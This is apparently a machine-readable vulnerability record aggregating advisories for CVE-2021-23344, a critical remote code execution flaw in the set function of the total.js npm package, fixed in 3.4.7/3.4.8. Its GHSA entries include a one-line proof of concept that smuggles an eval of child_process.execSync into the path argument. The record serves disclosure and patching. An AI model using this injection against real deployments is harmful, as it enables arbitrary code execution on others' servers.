{"id":"CVE-2021-23344","aliases":["EUVD-2021-0594","GHSA-3wj8-vp9h-rm6m","SNYK-JS-TOTALJS-1077069"],"status":"published","title":"Remote Code Execution (RCE)","description":"The package total.js before 3.4.8 are vulnerable to Remote Code Execution (RCE) via set.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.04879,"percentile":0.92124,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-94"],"published":"2021-03-04T16:55:14Z","modified":"2026-10-24T10:50:11Z","fixes":[{"ecosystem":"npm","package":"total.js","fixed_in":["3.4.7","3.4.8"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"total.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.4.7"}]}]},{"source":"osv","ecosystem":"npm","package":"total.js","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.4.8"}]}]}],"products":[{"vendor":"totaljs","product":"total.js"}],"references":[{"url":"https://snyk.io/vuln/SNYK-JS-TOTALJS-1077069","tags":["x_refsource_MISC","x_transferred","Exploit","Patch","Third Party Advisory","fix","web"]},{"url":"https://github.com/totaljs/framework/commit/c812bbcab8981797d3a1b9993fc42dad3d246f04","tags":["x_refsource_MISC","x_transferred","Patch","Third Party Advisory","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-23344","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-3wj8-vp9h-rm6m"}],"sources":{"cve":[{"id":"CVE-2021-23344","title":"Remote Code Execution (RCE)","description":"The package total.js before 3.4.8 are vulnerable to Remote Code Execution (RCE) via set.","status":"published","published":"2021-03-04T16:55:14.189Z","modified":"2024-09-17T01:55:53.28Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"updated_at":"2026-11-02T14:33:00.819444Z"}],"euvd":[{"id":"EUVD-2021-0594","description":"The package total.js before 3.4.8 are vulnerable to Remote Code Execution (RCE) via set.","status":"published","published":"2021-03-04T16:55:14Z","modified":"2024-09-17T01:55:53Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-03T00:28:45.29969Z"}],"ghsa":[{"id":"GHSA-3wj8-vp9h-rm6m","title":"total.js Remote Code Execution Vulnerability","description":"total.js is a framework for Node.js platfrom written in pure JavaScript similar to PHP's Laravel or Python's Django or ASP.NET MVC. It can be used as web, desktop, service or IoT application.\n\nAffected versions of this package are vulnerable to Remote Code Execution (RCE) via `set`.\n\n### PoC\n```js\n// To be run in a nodejs console: \nrequire('total.js/utils').set({}, 'a;eval(`require(\"child_process\")\\\\x2eexecSync(\"touch pwned\")`);//')\n```","status":"published","published":"2021-03-19T21:32:20Z","modified":"2023-09-13T20:23:10Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:37:05.004935Z"}],"nvd":[{"id":"CVE-2021-23344","description":"The package total.js before 3.4.8 are vulnerable to Remote Code Execution (RCE) via set.","status":"published","published":"2021-03-04T17:15:13.153Z","modified":"2026-06-17T03:38:35.643Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"},{"version":"2.0","score":7.5,"vector":"AV:N/AC:L/Au:N/C:P/I:P/A:P","level":"high","assessor":"primary"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:06:50.399901Z"}],"osv":[{"id":"CVE-2021-23344","description":"The package total.js before 3.4.8 are vulnerable to Remote Code Execution (RCE) via set.","status":"published","published":"2021-03-04T17:15:13.153Z","modified":"2026-10-24T10:50:11.600969132Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:44:18.367807Z"},{"id":"GHSA-3wj8-vp9h-rm6m","title":"total.js Remote Code Execution Vulnerability","description":"total.js is a framework for Node.js platfrom written in pure JavaScript similar to PHP's Laravel or Python's Django or ASP.NET MVC. It can be used as web, desktop, service or IoT application.\n\nAffected versions of this package are vulnerable to Remote Code Execution (RCE) via `set`.\n\n### PoC\n```js\n// To be run in a nodejs console: \nrequire('total.js/utils').set({}, 'a;eval(`require(\"child_process\")\\\\x2eexecSync(\"touch pwned\")`);//')\n```","status":"published","published":"2021-03-19T21:32:20Z","modified":"2026-07-08T06:49:38.665850474Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:36.092962Z"}]}}
